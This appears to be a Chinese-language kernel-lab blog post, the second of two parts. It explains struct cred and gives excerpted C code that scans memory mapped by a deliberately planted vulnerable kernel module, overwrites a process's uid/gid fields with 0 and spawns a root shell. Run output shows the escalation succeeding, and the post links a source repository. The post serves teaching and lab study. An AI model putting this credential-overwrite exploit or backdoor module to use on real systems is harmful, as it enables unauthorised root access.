怎样在Linux内核中埋炸弹获取root权限<2/2>终结篇

上文中的漏洞内核模块代码和应用层代码两者狼狈为奸,修改了系统内存中所有的 jeffnice+20
jeffnice-19

普通用户既然能修改系统任意内存,那把自己的权限提升为root权限应该也不是一件难事了。

linux内核使用struct cred 结构体来表达一个进程的 credential(凭证)

struct cred {

  ...

  

  kuid_t    uid;    /* real UID of the task */

  kgid_t    gid;    /* real GID of the task */

  kuid_t    suid;    /* saved UID of the task */

  kgid_t    sgid;    /* saved GID of the task */

  kuid_t    euid;    /* effective UID of the task */

  kgid_t    egid;    /* effective GID of the task */

  kuid_t    fsuid;    /* UID for VFS ops */

  kgid_t    fsgid;    /* GID for VFS ops */

  

  ...

};

那我们现在就有思路了,我们只需要修改本进程对应的struct cred结构中的8个变量跟root用户的一样就行。
首先看看root用户运行的程序对应的上面结构中的8个变量是什么。

在系统中以root用户查看当前bash进程($$)对应的
uid



gid

root@jeff:/# cat /proc/$$/status
Name:bash
State:S (sleeping)
Tgid:15684
Ngid:0
Pid:15684
PPid:15680
TracerPid:0
Uid:  0000
Gid:0000
FDSize:256
Groups:0 
NStgid:15684
NSpid:15684
NSpgid:15684
NSsid:14057

现在切换到普通用户查看当前bash进程($$)对应的
uid



gid

jeff
@jeff:~$ cat /proc/$$/status
Name:bash
State:S (sleeping)
Tgid:20882
Ngid:0
Pid:20882
PPid:20881
TracerPid:0
Uid:1003100310031003
Gid:1003100310031003
FDSize:256
Groups:1003 
NStgid:20882
NSpid:20882
NSpgid:20882
NSsid:20866
VmPeak:26412 kB
VmSize:26412 kB

现在在普通用户jeff终端下执行的程序,它的uid和gid也会跟上面的父进程(bash)进程一样,都会是 1003
. 而现在知道了root用户的所有uid和gid都是 0
.
我们的思路是,在普通用户jeff的终端下执行的程序,利用修改内存功能把自己进程对应的所有uid和gid都变成0,然后在程序中调用getuid()查看是否等于0,如果等于0,就说明普通用户jeff已经拿到了root权限。
代码:jeff-mmap.c (代码有删减)

        printf("[+]mmap ok addr: %lx\n", addr);

        while (((unsigned long)addr) < (mmapStart + size))

{

        count = 0;

        if (

        addr[count++] == uid &&

        addr[count++] == uid &&

        addr[count++] == uid &&

        addr[count++] == uid &&

        addr[count++] == uid &&

        addr[count++] == uid &&

        addr[count++] == uid &&

        addr[count++] == uid 

        ) { 

                credNum ++; 

                printf("[+]found ptr:%p ,crednum:%d\n", addr, credNum);

                count = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                addr[count++] = 0;

                if (getuid() == 0) {

                        printf("[+] root successed.\n");

                        execl("/bin/sh", "-", (char *)NULL);

                        printf("Execl Failed.\n");

                        break;

                }   

                else {

                        count = 0;

                        addr[count++] = uid;

                        addr[count++] = uid;

                        addr[count++] = uid;

                        addr[count++] = uid;

                        addr[count++] = uid;

                        addr[count++] = uid;

                        addr[count++] = uid;

                        addr[count++] = uid;

                }


jeff@jeff:~$ gcc ./mmap-get-root.c -o mmap-get-root

jeff@jeff:~$ ./mmap-get-root
[+] uid: 1003
[+]mmap ok addr: 57575000
[+]found ptr:0x8cab89c4 ,crednum:1
[+]found ptr:0x8cab8f04 ,crednum:2
[+]found ptr:0x1101f3604 ,crednum:3
[+] root successed.
#

执行./mmap-get-root 发现已经
root成功

了。

# cat /proc/$$/status
Name:sh
State:S (sleeping)
Tgid:20973
Ngid:0
Pid:20973
PPid:20882
TracerPid:0
Uid:0000
Gid:0000
FDSize:256
Groups:1003 
NStgid:20973
NSpid:20973
NSpgid:20973
NSsid:20866
VmPeak:4504 kB
VmSize:4504 kB
VmLck:0 kB
VmPin:0 kB
VmHWM:748 kB
VmRSS:748 kB
VmData:192 kB
VmStk:132 kB
VmExe:144 kB
本进程的uid和gid都变成了0
(完)
本文的源代码和上一篇的源代码都在这里:
https://github.com/x-lugoo/linux-kernel-lab/tree/master/mmap-root
好看请点“在看”和赞赏!